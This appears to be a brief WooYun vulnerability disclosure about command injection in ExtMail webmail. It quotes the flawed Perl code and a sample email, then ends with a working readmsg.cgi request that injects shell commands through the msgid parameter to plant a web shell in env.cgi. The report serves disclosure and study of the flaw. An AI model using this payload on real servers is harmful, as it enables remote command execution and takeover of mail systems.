WooYun.org

my $cmd = "$sys->{SYS_CONFIG}/tools/spam_report.pl --type=$app --report_spam --single --msg=$msg";

$MSGFILE = $ENV{MAILDIR}; # XXX
 $MSGFILE .= '/'._name2mdir($FOLDER);

if($file eq $MSGID || !$MSGID){
	$MSGFILE .= '/cur/'.$file;

sub op_move {
    my ($from, $to) = @_;
    $from = fixpath($from);
    $to = fixpath($to);

rename(untaint($rfrom), untaint("$rto/$fromname")) ||

sub fixpath {
    my $path = shift;
    # fix bug, old bug code: $path =~ s#\.{2,}/##g;
    $path =~ s#/\.+##g; # strip /.. or /... etc
    $path =~ s#\.+/##g; # strip ../ or .../ etc
    $path =~ s#\\\.+##g; # strip \. or \... etc
    $path =~ s#\\+##g;   # strip \\ or \\\ etc
    $path;
}

my $rto = fixslash(fixpath("$CFG{path}/$to"));

From: "=?ISO-8859-1?B?dGVzdA==?=" <xxx@**.**.**.**>
To: xxx@**.**.**.**
Subject: =?ISO-8859-1?B?bmloYW95YQ==?=
Date: Fri, 30 Oct 2015 10:37:43 +0800
Mime-version: 1.0
X-Originating-Ip: []
X-Mailer: ExtMail 1.1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: base64
bmloYW95YQ0K

readmsg.cgi?__mode=report&sid=336f95e4406cbeb90dc4754b112785b0&folder=Inbox&pos=0&msgid=&& cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd var && cd www && cd cgi-bin && cd extmail && cd cgi && echo 'system($ENV{"HTTP_EVIL"});' >> env.cgi &&